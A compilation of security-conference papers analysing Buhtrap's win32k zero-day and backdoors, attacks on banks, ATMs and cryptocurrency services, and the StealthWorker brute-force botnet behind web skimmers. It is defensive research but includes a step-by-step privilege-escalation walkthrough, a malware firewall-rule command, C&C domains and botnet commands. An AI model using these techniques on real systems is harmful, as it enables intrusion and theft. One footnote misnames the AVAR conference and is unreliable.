This exploit creates two windows; one for each the first and the second stages of the exploitation. For the first window, it creates popup menu objects and appends menu items using the CreatePopupMenu and AppendMenu functions. In addition to that exploit sets up WH_CALLWNDPROC and EVENT_SYSTEM_MENUPOPUPSTART hooks.

Then the exploit displays a menu using the TrackPopupMenu function. At this point the code in hooked to EVENT_SYSTEM_MENUPOPUPSTART gets executed. This code attempts to open as the first available item in the menu, by sending a sequence of MN_SELECTITEM and MN_SELECTFIRSTVALIDITEM and MN_OPENHIERARCHY messages to the menu.

The next step is very important for triggering this vulnerability. The exploit must catch this moment in time, when the initial menu is already created, but the sub-menu is only about to be created. For that, the exploit has code that handles the WM_NCCREATE message in the WH_CALLWNDPROC hook. When the exploit code detects the system is in this state, it sends MN_CANCELMENUS (0x1E6) message to the first menu, which cancels that menu. However, its sub-menu is still about to be created.

Now if we check this sub-menu object in kernel mode, we would see that tagPOPUPMENU >ppopupmenuRoot equals 0. This state allows the attacker to use that element in this kernel structure as a NULL pointer dereference. The exploit allocates a new page at address 0x0 and this address will be treated as a tagPOPUPMENU object (see Figure 1) by the kernel.

At this point, the attackers use the second window. The main exploit goal is to flip the bServerSideWindowProc bit in the tagWND structure of the second window. This causes the execution of a WndProc procedure in kernel mode.

To perform that, attackers leak the kernel memory address of the tagWND structure of the second window by calling the non-exported HMValidateHandle function in the user32.dll library. Then the exploit crafts a fake tagPOPUPMENU object at the NULL page and sends a MN_BUTTONDOWN message to a sub-menu.

After that, the kernel will eventually execute the win32k!xxxMNOpenHierarchy function.
This function passes a crafted object at the NULL page to `win32k!HMAssignmentLock`. The `bServerSideWindowProc` bit is set inside the `win32k!HMUnlockObject` function, which is located a one call deeper inside `win32k!HMAssignmentLock`.

Everything is done! Now the exploit can send a specific message to the second window in order to execute `WndProc` in kernel mode. As a final step, the exploit replaces the token of the current process with the system token.

**New development**

Throughout the years, packages with different functionalities appeared. Recently, we found two new packages that are worth describing as they deviate from the typical toolset.

**Legacy backdoor with a twist — E0F3557EA9F2BA4F7074CAA0D0CF3B187C4472FF**

This document contains a malicious macro that, when enabled, drops an NSIS installer whose task is to prepare installation of the main backdoor. However, this NSIS installer is very different from the earlier versions used by this group. It is much simpler and is only used to set the persistence and launch two malicious modules embedded within it.

The first module, called grabber by its author, is a standalone password stealer. It tries to harvest passwords from mail clients, browsers, etc., and sends them to a C&C server. This module was also detected as part of the campaign using the zero-day. This module uses standard Windows APIs to communicate with its C&C server.
The second module is something that we have come to expect from Buhtrap operators: an NSIS installer containing a legitimate application that will be abused to side-load the Buhtrap main backdoor. The legitimate application that is abused in this case is AVZ, a free anti-virus scanner.

**Meterpreter and DNS tunneling — C17C335B7DDB5C8979444EC36AB668AE8E4E0A72**

This document contains a malicious macro that, when enabled, drops an NSIS installer whose task is to prepare installation of the main backdoor. Part of the installation process is to set up firewall rules to allow the malicious component to communicate with the C&C server. Next is a command example the NSIS installer uses to set up these rules:

```markdown
    cmd.exe /c netsh advfirewall firewall add rule name="Realtek HD Audio Update Utility" dir=in action=allow program="<path>RtlUpd.exe" enable=yes profile=any
```

However, the final payload is something that we have never seen associated with Buhtrap. Encrypted in its body are two payloads. The first one is a very small shellcode downloader, while the second one is Metasploit's Meterpreter. Meterpreter is a reverse shell that grants its operators full access to the compromised system.

The Meterpreter reverse shell actually uses DNS tunnelling to communicate with its C&C server by using a module similar to what is described here[2]. Detecting DNS tunnelling can be difficult for defenders, since all malicious traffic is done via the DNS protocol, as opposed to the more regular TCP protocol. Below is a snippet of the initial communication of this malicious module.

```markdown
    7812.reg0.4621.toor.win10.ipv6-microsoft[.]org
    7812.reg0.5173.toor.win10.ipv6-microsoft[.]org
    7812.reg0.5284.toor.win10.ipv6-microsoft[.]org
    7812.reg0.5267.toor.win10.ipv6-microsoft[.]org
    7812.reg0.5314.toor.win10.ipv6-microsoft[.]org
    7812.reg0.5361.toor.win10.ipv6-microsoft[.]org
    [...]  
```

The C&C server domain name in this example is impersonating Microsoft. In fact, the attackers registered different domain names for these campaigns, most of them abusing Microsoft brands in one way or another.
Conclusion

While we do not know why this group has suddenly shifted targets, it is a good example of the increasingly blurred lines between pure espionage groups and those primarily involved in crimeware activities. In this case, it is unclear if one or several members of this group decided to change focus and for what reasons, but it is definitely something that we are likely to see more of going forward.

References

Attacks Against Financial Institutions and Cryptocurrencies

Josep Albors / Ontinet

Abstract

Banking threats are a classic among the malware families that we have observed for more than 15 years. In all this time we have seen how the criminals have switched from attacking only the online banking customers to directly attack the networks and systems used by the banks to send money between each other.

Despite this, banking malware is still an important threat to online banking customers, with new families of malware switching from the desktop to our mobile devices because that’s were most banking operations are done nowadays. Motivated by this new scenario, cybercrooks have developed some very interesting strategies to lure victims into their traps and steal their money.

Regarding this scenario we will provide a brief update on the BackSwap malware discovered last year by ESET Researchers Michal Poslusny & Peter Kalnai and the attacks launched against Spanish online banking users.

Josep Albors is the Head of Awareness & Research at Ontinet.com. He’s a security expert with more than 14 years working in cybersecurity and specialized in malware research. He is also the editor at blogs.protegerse.com and one of the experts writing at the WeLiveSecurity blog, besides from other publications related with the IT security world. He has been a speaker at some of the most important security conferences in Spain, besides collaborating with initiatives such as X1RedMasSegura, that wants to raise awareness among users so they can use Internet and technology in a safe way. Included in Ontinet.com social responsibility, Josep also does awareness and cybersecurity presentations in schools and universities. He’s also a teacher in cyber security expert courses at UCLM and Extremadura University and participates in several conferences organized by several spanish universities and INCIBE (Spanish National Institute of Cybersecurity). Josep has also collaborated with the Spanish Guardia Civil, Spanish National Police and the Spanish Army, teaching their units on how to fight cybercrime and with cyber intelligence training, contributing with his experience in analyzing cybercrime and malware.
Since this investigation was presented at last year’s AVAR there have been important updates, including Michal and me working along with the Spanish National Police to obtain information about the criminals and try to stop this campaign.

Moving to another scenario, attacks on ATMs and Point of Sale devices have evolved rapidly to become a serious threat. These systems don’t have the best (or any) protection and most of them run outdated OSes which makes it relatively easy for an attacker to gain access to them. From the old skimmer techniques to the remote-control tactics used by some modern malware, we will provide an update on the attacks to this devices, with some examples from Japan.

From the bank’s side, we have seen several examples of attacks launched against systems that have access to the SWIFT network in order to obtain large amounts of money in one blow. We will review targeted attacks that have been and are being used by the criminals and the TTPs of these attacks.

Finally, given the increasing importance of cryptocurrencies, especially in countries like Japan, we will provide an update on the threats that both the customers and the exchange services face nowadays.

**Introduction**

For many years, everything related with banking malware has been a hot topic since it’s one of the favorites techniques used by criminals to stole money directly. However, we have seen lately a swift from attacking just the users of online banking to prepare and execute attacks directly to the financial institutions that caused millions in loses.

Today, most banking companies know that they are in the sight of cybercrime organizations but still many of them still suffer from these attacks that leads to losing big amounts of money in just one hit. This confirms the theory that the attackers are more prepared and they invest more time and resources in preparing newer attacks and techniques while their victims lack preparation and, many times, don’t know that they are under attack until it’s very late.

Moreover, the popularity that cryptocurrencies got years ago is still present and, besides not being as valuable as they were at the end of 2017, they still have enough value to be considered by the cybercrooks as an interesting asset to steal or generate using others resources. This situation has lead to an interesting situation where the IoT devices (and their insecurity) play a very important role.
Attacks to the weakest link

If we look back 15 years we’ll see that, back then, banking trojans were already a reality and caused lots of troubles among users that started to use online banking. Of course, security measures that are mandatory today weren’t even considered and the techniques used by the criminals were simple but effective. Just setting up a poorly designed phishing site was enough to fool several users and obtain a considerable amount of banking credentials that were later used to steal money from several bank accounts.

We might think that with all the security measures deployed in past years (and with more to come) these techniques should be something from the past. However, they are still one of the main threats that both users and financial institutions can suffer. If we focus in the online banking users we will see that not only they are still also one of the main targets but also their attack surface has increased with the use of mobile devices used in their online banking transactions.

¿The future of banking trojans?

If we take a look at “traditional” banking trojans we’ll see that even with using not so advanced techniques the results can be very profitable for the criminals. We had a very good example last year’s AVAR\(^1\), where ESET researchers Michal Poslušný and Peter Kálnai presented BackSwap, a new malware that used a rudimentary but effective technique.

BackSwap injects malicious JavaScript code in the web browser address bar by automatically typing it. This may seem quite low-end malware since anybody looking at the address bar could notice that something is not going right but the truth is that it worked pretty well.

\(^1\)AVAR: Conference on the Analysis and Randomization of Algorithms
Following their investigation and thanks to the info provided by Michal Poslušný we observed that BackSwap campaign shifted from attacking Poland online banking users to Spanish users. Since we are based in Spain we decided to investigate this campaign and contacted with several of the banks whose customers were being targeted by BakcSwap, along with the cybercrime units of the Spanish National Police and Guardia Civil, providing them with threat intelligence that could help in a future take down operation.

Starting in August 2018 and for several months we were monitoring every new BackSwap sample and obtain information about changes in the code and, specially, information about the bank accounts and mules used to send the stolen money from the victims.

<table>
<thead>
<tr>
<th>Date</th>
<th>Targets</th>
<th>Attacker’s Account number(s)</th>
<th>Hashes</th>
</tr>
</thead>
<tbody>
<tr>
<td>2018-08-07</td>
<td><a href="https://bancopopular.es/eai_logon/GbpInternetElogonEAI/gbplogo">https://bancopopular.es/eai_logon/GbpInternetElogonEAI/gbplogo</a>*</td>
<td>Jose Maria Segura Raya</td>
<td>72191DEEBAEFC3E104</td>
</tr>
<tr>
<td></td>
<td><a href="https://www.caixabank.es/particular">https://www.caixabank.es/particular</a>*</td>
<td></td>
<td>85FA55D3987C204698</td>
</tr>
<tr>
<td></td>
<td><a href="https://oi.bankia.es/es/logi">https://oi.bankia.es/es/logi</a>*</td>
<td></td>
<td>2D91</td>
</tr>
<tr>
<td></td>
<td><a href="https://www.bankia.es/es/particulare">https://www.bankia.es/es/particulare</a>*</td>
<td></td>
<td>4F329BED66C1BEE24</td>
</tr>
<tr>
<td></td>
<td><a href="https://www.bankia.es/es/particulares#!/cuentas/transferencias/paso">https://www.bankia.es/es/particulares#!/cuentas/transferencias/paso</a>*</td>
<td></td>
<td>A2BE0765679F1C2C0</td>
</tr>
<tr>
<td></td>
<td><a href="https://www.bbva.es/particulares/index.js">https://www.bbva.es/particulares/index.js</a>*</td>
<td></td>
<td>3AD10C</td>
</tr>
<tr>
<td></td>
<td><a href="https://web.bbva.es/index.html">https://web.bbva.es/index.html</a>*</td>
<td></td>
<td>2D2B807E21070AC6F</td>
</tr>
<tr>
<td></td>
<td><a href="https://www.banc">https://www.banc</a> sabadell.com/es/Satelite/SahAl*</td>
<td></td>
<td>9891EAB946B20C7D2</td>
</tr>
<tr>
<td></td>
<td><a href="https://www.banco">https://www.banco</a> sabadell.es/Txbs/TR ExternalTransferIPP.init.b*</td>
<td></td>
<td>FFD15C</td>
</tr>
<tr>
<td></td>
<td><a href="https://particulares.gruposantander.es/SUPPFA_ENS/BtoChannelDriver.ssobt">https://particulares.gruposantander.es/SUPPFA_ENS/BtoChannelDriver.ssobt</a> o?dse_operationName=NavLogin*</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td><a href="https://particulares.gruposantander.es/CE_VOperativa_SANINT_ENS/BtoC">https://particulares.gruposantander.es/CE_VOperativa_SANINT_ENS/BtoC</a> hannelDriver.ssobtodse_operationName=OP_VentasOperativa_INT*</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

As we see in the extracted info from one of the initial Spanish campaign samples, BackSwap creators weren’t concerned about hiding the details about the mules they were using. This changed a bit later, at the end of September 2018 when they started to use alias for their mules but the bank account identificatory could also be found in the code. It’s also important to note that, despite most of the bank accounts being from Spain, some of them were also located in other countries such as Romania.

Another interesting information that could be obtained from analyzing this malware samples is the amount to be stolen from a victim and transferred to a mule account. BackSwap creators established a minimum maximum amount of money rank, probably trying to catch to many attention if a big amount of money was subtracted from a single victim.

After five months, this BackSwapp campaign in Spain stopped in mid-December and, after that, we only observed a few samples in the Chzeck Republic and again in Spain very sporadically, being the last one analyzed at the beginning of May 2019.
Despite the innovations introduced by BackSwap, malware creators know very well that online banking users use mainly their mobile devices and specially their smartphones. That’s why we have observed a big increase in Android banking malware in recent years.

Android banking trojans vs fake banking apps

Despite the innovations introduced by BackSwap, malware creators know very well that online banking users use mainly their mobile devices and specially their smartphones. That’s why we have observed a big increase in Android banking malware in recent years.

In a recent study from malware researcher Lukas Stefanko[2] we could observe two main variants in the Android banking trojans ecosystem. On one hand we see the sophisticated banking trojans, malware designed for overlaying attacks where the malware targets an specific application (mostly a legitimate online banking app) and overlays it with a phishing screen to obtain the victim’s credentials.

These sophisticated banking trojans usually comes disguised as a regular app and it’s not difficult to find them distributed in official channels such as Google Play and their main target are banking apps but they can also target cryptocurrency wallets and other non-banking apps. Among their functionality we can find several capabilities such as remote control, download and execution of additional apps, credentials harvesting or the interception of SMS to bypass 2FA.
They also obtain a lot of permissions in the system that allow the criminals to obtain full control of the infected device and gain persistence in the system for as long as possible. It’s quite common for these apps to obtain device administration rights to avoid or make it very difficult to be uninstalled along with stealth techniques and detection evasion.

On the other hand we have the fake banking apps, a more simple way to obtain benefits from their victims than the sophisticated banking trojans. Their functionality is quite limited since they usually just display fake login screens and harvest entered data and for that they bet everything on the success of impersonation of real banking apps.

As long as they can pose as a legitimate app and fools a potential victim to install it instead of the real one their success ratio can be quite high for the amount of resources invested by the criminals. These kind of apps are usually distributed through Google Play or unofficial app stores posing as legitimate banking apps.

Once the victim installs this fake banking app in their device they show a fake login screen that will collect the victim’s credentials. In some cases, the fake banking app will also be able to intercept and redirect SMS so they can bypass 2FA and proceed to steal the money from the victim’s bank account.
In conclusion, both threads suppose a risk for online banking users, despite their important differences and sophistication employed. While banking trojans can target a wider group users and have more capabilities we cannot obviate the potential of fake banking apps, easy to develop and distribute.

**Attacks on ATMs and PoS**

Now that we have covered the threats that affect the users when operating with banking systems from their device, it’s time to have a look to the ones that are used to physically interact with the banking systems for payment or money withdrawal. Both ATMs and PoS have seen a huge increase in attacks in recent years and that’s because criminals have seen them as relatively easy to attack.

If we take the look back a few years we will see that skimmers were one of the favorites devices used by criminals to obtain users credit card details that were used later to empty their bank accounts or sold in the dark web for other purposes. These devices are still being used nowadays, with some interesting tweaks and improvements that try to make them undetectable for the not trained eye but some criminal gangs have changed their modus operandi.

ATMs are, in most cases, a simple computer connected to the bank network and to the cassettes that store the money. For many years, these devices have been abandoned in terms of software upgrades, security patches application or even the most basic maintenance. The criminals gang knew this and started to benefit from it.

The first operations against vulnerable ATMs consisted on attacking them on site, trying to access the computer that manages them as Barnaby Jack showed in his 2010 BlackHat presentation[^3]. To access the ATM computer the techniques may vary, including drilling a hole through the ATM, open it through lockpicking or using brute force to connect a prepared device such a raspberry pi or taking benefit to the connectivity devices that some ATMs are connected to and can be used for accessing them or do MITM attacks.

[^3]: Barnaby Jack's 2010 BlackHat presentation.
As showed in several investigations by malware researchers at Kaspersky, there is a malware industry focused on targeting ATMs. They sell their new threats through darknet market forums as they have observed for some years now, with some outstanding examples of malware capable of ATM jackpotting such as Cutlet Maker or Winpot.

Figure 7. Examples of physical attacks vectors used against ATMs. Credits to KrebsOnSecurity

Figure 8. Examples of malware targeting ATMs. Credits to Securelist
However, criminals also employed other techniques less aggressive to the ATMs but that required more coordination. Using some of the credit card credentials stolen by the banking trojans that we have analyzed in the previous point, they started to use it in coordinated attacks to get as much possible cash from those stolen cards in the less possible time. We have seen some of these operations like the one that, in less than 10 hours, allowed the criminals to obtain $45 million withdrawing money form ATMs in 27 different countries[5].

As for Japan, we also saw a similar operation in 2016 where 1.400 million Yen where withdrew from several ATMs located in 16 Japanese prefectures in about two hours by around 100 people using cloned credit cards[6].

But the criminal gangs are always thinking on how to make more money and that's the reason why they started to target not just the ATMs but the owner of them: the financial institutions.

**Going for the big whales**

Starting as early as in 2011, we observed the first attempts from the cyber criminals to target directly the financial institutions. The first examples came from attacks to Russian banks and we can found several examples that were used as example in attacks to other financial institutions around the world.

As it was showed in the 2016 Virus Bulletin presentation[7] “Modern attacks against Russian financial institutions” by ESET researchers Jean-Ian Boutin & Anton Cherepanov, there are several groups linked to this attacks that have also been observed targeting banks outside Russia in recent years.

The techniques described in that presentation can also be applied to many other attacks that happened in the past years where the attackers manage to obtain access to the bank network, they move through the network until they find the systems that controls ATMs, the SWIFT Interbank money transfers or any other interesting information that they could use in their benefit.
The approach used by these groups to reach their objectives may be different. Where some of them prefer to compromise as many workstations as possible and then search for the most interesting ones, others prefer to compromise a few of them and search for the really important ones moving through the bank network.

Both spear phishing and watering hole attacks are used to infect the targeted systems. Examples of these attacks include even infecting official government sites for several months, like it happened in Poland at the beginning of 2017[^8] or using decoy documents showing advisories from official agencies like the FinCERT in Russia.

[^8]: Ref: [8]
Once the criminals set their foot in the financial organization they start to search for the most valuable systems. For this lateral movement inside the company network they use both self-generated tools along with commercial and common penetration testing tools such as Metasploit or Mimikatz. They can also use common remote management tools such as Teamviewer or Lite Manager to avoid raising unnecessary alerts.

After the compromise is done and the target is infected, the criminals usually waits a prudential time that can go from some days up until some months to study the user’s behavior on that machine. That helps them decide which is the best moment to realize the attack and steal the money using a SWIFT transfer or making a simultaneous cash withdrawal in several ATMs.

One of the more active gangs that were targeting financial institutions was Carbanak. They infected financial institutions networks and used them to withdraw important amounts of money from several ATMs around the world. The mules just needed to go an pick the money when they were ordered to do so.

The developer of Carbanak was arrested in Alicante, Spain, on march 2018 after a complex investigation conducted by the Spanish National Police, with the support of Europol, the US FBI, the Romanian, Moldovan, Belarussian and Taiwanese authorities and private cyber security companies[^9]. This operation also discovered that the criminal profits were also laundered via cryptocurrencies, by means of prepaid cards linked to the cryptocurrency wallets which were used to buy goods such as luxury cars and houses, which leads us to our next point.

### Attacks on cryptocurrency wallets and exchanges

The attacks related with cryptocurrencies are not new but have seen a huge increase in recent times. Until not so long ago, most of the attacks were focused on infecting system with big amount of computing resources, like ones used by gamers, but that changed when the value of the cryptocurrencies started to increase in 2017.

During late summer and early autumn of 2018 we started to observe several campaigns that were targeting regular users, despite having or not powerful hardware installed on their systems. At the beginning those attacks were focused in showing malicious adds while visiting some webpages. The adds contained code that downloaded a miner and made the system to mine cryptocurrencies.

[Figure 12. Example of Coinhive mining code inserted The Pirate Bay website]
After a few weeks we observed the first examples of mining code inserted directly into the web page with some important examples that raised the awareness about this incipient problem. The Pirate Bay case was one of the first examples detected of a Coinhive mining script, despite the owners of that web claiming to be a test to change their monetization system.

This Coinhive mining code started to spread very fast and, although there were other options, Coinhive remained the most used one until its disappearance on March 8th 2019. Thousands of webpages included the Coinhive code, some of them to obtain benefits from visits but many other were infected by criminals and all the revenue was for them.

This tactic also saw a decrease in their use after the criminals switched to a more profitable target like the Internet of things. Knowing that there are millions of connected and vulnerable devices that can be used for several illegal activities (from DDoS attacks to cryptomining) the criminals started to aim at these devices. Despite their computational power being, in most cases, very low compared to a desktop PC, the big amount of this devices and their insecurity makes them the perfect target and provide the criminals with important benefits from cryptomining.

One example of this type of campaigns is the one that targeted devices that had installed the popular media server Kodi. Most of these devices are cheap micro-computers like the Raspberry-Pi and many users install Kodi and several add-ons to obtain media content like movies, tv series or several sports content. Many of these add-ons are from third party repositories and ESET researchers discovered a campaign that was distributing malicious add-ons from them, infecting the device and making it mining for the criminals.

Figure 13. Timeline of the malicious Kodi add-ons campaign. Credits to WeLiveSecurity
Following with the attacks that are targeting end users, we have observed some clever movements from the criminals. They started to target users that already had cryptocurrencies and tried to modify the address were they wanted to send some of them when realizing a transaction. To do that they used trojanized applications (with some of them being active for several years) that could be found on legitimate sites while others like the malware Evrial were sold in the Darknet.

The developers of these type of malware have even managed to put some of their creations into the official Google Play Store, which leads us to the next point, cryptominers in the Android ecosystem. As it happened with banking trojans, cryptominers were rapidly ported to the Android system. Having hundreds of millions of devices potentially vulnerable and able to mine cryptocurrencies made them a priority target for the criminals.

Because of that, we have seen lots of fake apps posing as exchanges, wallets and miner applications, with some of them even locking the device to dedicate all of its resources to mining.

Moving to the corporate segment, we have also seen several attacks targeting servers. One example of these attacks is the one discovered by Imperva researchers where the attackers used a photo of Scarlett Johansson as an attack vector to download an execute the payload. The attackers used a Metasploit module to obtain the server control and check if it had any GPU with enough power to mine cryptocurrencies at a certain level and then the payload installed the cryptominer in the system.

But the biggest heists related with cryptocurrency affected not individual users or business but the enterprises that were born with these cryptocurrencies. If a user wants to store online or exchange his bitcoins or any other cryptocurrency they need to obtain the services of this companies. That makes them a very interesting target for cybercriminals since they can obtain big amount of money with just one hit.

We have seen several examples of these attacks on recent years, some of them big ones like the Mt Gox or Coincheck hacks that caused hundreds of millions in loses. Attackers took benefit on bugs or security failures on the sites or the backend system used to store or accessing the funds.
There is also another type of attacks that targets the Initial Coin Offering (ICO) when a new cryptocurrency or service wants to obtain investors. The attackers take benefit of the poorly secured website and, when the offering begins they swap the wallet used by the legitimate company to one controlled by them. This way they can obtain huge benefits just changing one line of code, sitting and waiting all the cryptocurrencies transfers being realized to their account.

**Summary**

Everything related with money attracts cybercriminals and they have proven to be very adaptative to the changes. The cases and techniques exposed in this paper are just a few of the ones observed in recent years but they serve as an example to see that the cyber criminals put a lot of effort and resources in adapting to the new trends.

Not only they are targeting classical banking organizations but also the new ones related to cryptocurrencies and they will do everything in their hands to keep stealing money, no matter how it is presented.

From the defensive perspective, there is still a lot to do both in awareness and implementation of security measures. These are not isolated cases and the attacks exposed in these papers causes hundreds of millions in losses every year. Because of this, we have to understand what are the techniques used by the criminals and the security flaws that they take advantage from, so we can keep up with them and difficult their attacks.

**References**

Digital Skimmers: How crooks are spying your online shopping

Rommel Abraham D Joven / Fortinet

Abstract

Over the past year, there has been a surge in highly targeted credit card skimming attacks hitting Ticketmaster, British Airways, Newegg and many more e-commerce sites of small and medium sized businesses that have been silently breached. These recent high-profile compromises made it apparent that digital skimmers are a major threat to not only online stores but also to shoppers.

In this presentation, we will cover into details the cycle of digital skimmers, which involves collaborating with bruteforcer malware services such as StealthWorker to acquire compromised websites. We begin with the methods used by attackers in compromising unsecure e-commerce websites and the malware named Stealthworker. This malware is a Content Management Systems (CMS) bruteforcer written in Golang and is catered to infect both Linux and Windows machines. The discovery of the malware was very timely since it was the time when attacks in e-commerce have been rising and was linked to a compromised e-commerce website that served a skimmer. We will take a look on how we are able to use automation for monitoring and gathering important information such as Stealthworker’s targets and as well as its continuous developments.

Rommel Joven is a malware researcher at Fortinet. Prior to joining Fortinet, he started his career in cybersecurity at Trend Micro as a threat response engineer. He is now further involved in hunting new malware extending from IoT botnets, targeted attacks, and digital skimmers. He is a regular contributor to Fortinet’s Security Research blog where he writes about up to date malware. He has been a speaker in security conferences including Virus Bulletin, HITB/GSEC, and Botconf. Outside work, he enjoys basketball, cycling, travelling and supports e-sports.
Next, we will share on the skimmers evolution and interesting campaigns including a recent one that we were able to get the logs of around 185,000 credit card details that were obtained by crooks that was operating for the past year.

We will discuss further on the skimmers, the malicious JavaScript responsible in stealing the payment information, focusing on interesting campaigns discovered. We will share the different techniques used by the crooks to deceive unaware customers to input their credit card details and how this information is exfiltrated for each campaign.

The talk will conclude on best practices how we can protect ourselves online and share means to mitigate this kind of attack.

**Introduction**

Credit card skimming is a type of credit card theft, where traditionally, crooks use physical devices such as card skimmers — stealthily installed within credit card readers in ATMs, gas stations, or any machine where credit cards are used as payment. Criminals can then use the stolen credit card information themselves to make fraudulent charges or sell it in the underground market. This paper discusses a threat which has the same objective but uses a different approach called digital skimmers.

As e-commerce grows, so does the threat from credit card skimming. Magecart, the collective name given to several criminal groups behind the attacks, continues to target online stores and reportedly compromising over 50,000 websites in 2018. The modus operandi behind the series of attacks is very similar which injects a malicious JavaScript that acts as the skimmer to the compromised websites. The skimmer actively monitors for payment forms and events happening on the web pages and initiates an action whenever credit card information is detected. Magecart with the help of its skimmer are able to intercept the credit card information the consumer entered during the session and sends it to its server.

![Figure 1. Cycle of Digital Skimmers](image.png)
Injecting the digital skimmer

Before hackers can modify the source code and insert the skimmer, the first step for them is to gain access directly to its target's backend, below are the ways they achieve it:

- Hacker’s commonly exploit the vulnerabilities found in Content Management System (CMS) or its plugins to gain entry on the target’s system.
- Another approach is indirectly embedding the skimmer; this is done by compromising a third-party tool/script being used by the target.
- The simplest option would be by brute force attacks targeting systems using weak or commonly used passwords.

In the case of brute force attacks we will take a closer look on the botnet Stealthworker.

Stealthworker

We have been monitoring this botnet since its discovery and have observed it has been continuously developing its code and adding functions to support new targets. Here is a brief summary of its behaviour and features:

- Discovered February 2019
- Written in Golang
- Malware runs on Windows, Linux, and ARM architecture
- Brute force using dictionary of username/password
- Makes sure only one instance is running
- Supports multiple services commonly used in web servers
- Honeypot detection (for SSH)

Analysis

The bot begins by creating a scheduled execution to make sure that the malware persists in the system even after reboot. Depending on the architecture, it will drop the following:

<table>
<thead>
<tr>
<th>Windows</th>
<th>Linux / ARM / Mips</th>
</tr>
</thead>
<tbody>
<tr>
<td>Creates and executes a bash script to copy itself to %Startup%\svchostsw.exe</td>
<td>It drops a copy as /tmp/nip91Ne1ph5chee and modifies the Crontab file to execute the sample at specified times</td>
</tr>
</tbody>
</table>

Table 1. Persistence

In analysing Golang malware it is best to use the IDA python script IDAGolangHelper, it helps to rename functions for easier readability and analysis. After the script is executed, we can identify the functions and begin analysis at "main_*". In our case, we begin taking a look at main_init() which initializes the malicious functions of stealthworker.
As mentioned previously, the malware author continued the development of its code; though there are a number of released versions we will only focus on versions where a new service was added (see commented versions above). This resulted to earliest version is v1.5 and latest v3.11 with 10 added services since its discovery.

Since the functions are properly named and figuring out what they do is quite straight forward. We can categorize them into three main functionalities:

<table>
<thead>
<tr>
<th>Function</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><em><em>check</em></em></td>
<td>used to identify and verify the service that the target is running on</td>
</tr>
<tr>
<td><em><em>brut</em></em></td>
<td>used to do the brute force attack on the target</td>
</tr>
<tr>
<td><em><em>finder</em></em></td>
<td>used to find a specific service or file on the target</td>
</tr>
</tbody>
</table>

Table 2. Main functionalities
The table below are services and platforms it tries to compromise and their corresponding commands. ('X' means not supported).

<table>
<thead>
<tr>
<th>Targeted services and platforms</th>
<th>Brute force command</th>
<th>Brute force command</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bitrix24</td>
<td>bitrixBrt</td>
<td>bitrixBrt</td>
</tr>
<tr>
<td>cPanel</td>
<td>cp_b</td>
<td>cp_panelChecker/cp_chk</td>
</tr>
<tr>
<td>Drupal</td>
<td>drupalBrt</td>
<td>drupalChk</td>
</tr>
<tr>
<td>FTP</td>
<td>ftp_b</td>
<td>ftpChk</td>
</tr>
<tr>
<td>Basic Authentication</td>
<td>hpasswdBrt</td>
<td>hpasswdChk</td>
</tr>
<tr>
<td>Joomla</td>
<td>joomlaBrt</td>
<td>joomlaChk</td>
</tr>
<tr>
<td>Magento</td>
<td>magentoBrt</td>
<td>magentoChk</td>
</tr>
<tr>
<td>MySQL</td>
<td>mysql_b</td>
<td>X</td>
</tr>
<tr>
<td>OpenCart</td>
<td>OCartBrt</td>
<td>OCartChk</td>
</tr>
<tr>
<td>PhpMyAdmin</td>
<td>phpadmin/php_b</td>
<td>phpadminChecker/php_chk</td>
</tr>
<tr>
<td>Portainer</td>
<td>pbrt</td>
<td>X</td>
</tr>
<tr>
<td>PostgreSQL</td>
<td>postgres_b</td>
<td>X</td>
</tr>
<tr>
<td>Qnap</td>
<td>qnapBrt</td>
<td>qnapChk</td>
</tr>
<tr>
<td>SSH</td>
<td>ssh_b</td>
<td>X</td>
</tr>
<tr>
<td>Synology</td>
<td>synoB</td>
<td>X</td>
</tr>
<tr>
<td>WHM</td>
<td>whm_b</td>
<td>whmChecker/whm_chk</td>
</tr>
<tr>
<td>Wordpress</td>
<td>wpBrt</td>
<td>wpChk</td>
</tr>
<tr>
<td>WooCommerce</td>
<td>X</td>
<td>Woo</td>
</tr>
</tbody>
</table>

Table 3. List of brute force and check services

<table>
<thead>
<tr>
<th>Other Services</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>Admin Finder</td>
<td>admfind</td>
</tr>
<tr>
<td>Backup Finder</td>
<td>backup</td>
</tr>
<tr>
<td>File Finder</td>
<td>ff</td>
</tr>
<tr>
<td>Wordpress Install Finder</td>
<td>wpInst</td>
</tr>
<tr>
<td>Enumerate Qnap Users</td>
<td>qnapUsEn</td>
</tr>
<tr>
<td>Use workers from Wordpress, Magento, Ocart</td>
<td>wpMagOcart</td>
</tr>
</tbody>
</table>

Table 4. List of other services

<table>
<thead>
<tr>
<th>Other Functions</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>exit process(self)</td>
<td>kill</td>
</tr>
<tr>
<td>sleep</td>
<td>block</td>
</tr>
</tbody>
</table>

Table 5. Other functions
Network Communication

*For ease of analysis we used the latest windows sample with v3.06 b26fa18c877c200041dedab44c1fe3ac903708fb98d199b6d11cb1c6e113588

Communication begins by informing the C2 that the infected machine is ready to function as a bot/worker and can accept brute force commands. The operating system (OS) and the bot version are included in the request sent.

![Figure 3. Register bot](image)

To make sure it is running the latest version every time it executes; a GET request of "bots/chkVersion?" is sent. A response of "no" means it's already running the latest version.

![Figure 4. Check for latest version](image)

Just to point out on the latest versions of the samples, some C2 we analysed have an open directory so we are able to directly see the latest version and also the other architecture it supports. So if it happens that the malware is running on an older version it will download the latest version from here *C2/storage/*.

![Figure 5. Open directory of storage](image)
Now as part of the botnet, the bot sends a request to retrieve active projects; the C2 assigns it to be a specific worker. As a worker, it is given jobs to perform and in our case it was phpadmin, magentoBrt, OCartBrt, drupalBrt, bitrixBrt, and wpBrt.

Let’s take an example where our infected machine was assigned as worker=magentoBrt (brute force magento websites). It received a list of host with credentials, and the worker's task is to attempt to login to the provided hosts.

Interestingly, we can directly connect to the URL using our browser and every time we refresh or a new request is made to the URL it shows a new set of hosts and credentials. By knowing this we can automate it to gather more jobs and possibly identifying the botnet's targets.

Digital Skimmers: How crooks are spying your online shopping

![Figure 6. Get active project](image6)

![Figure 7. Get list of credentials for worker](image7)

![Figure 8. Worker task accessed thru the browser](image8)
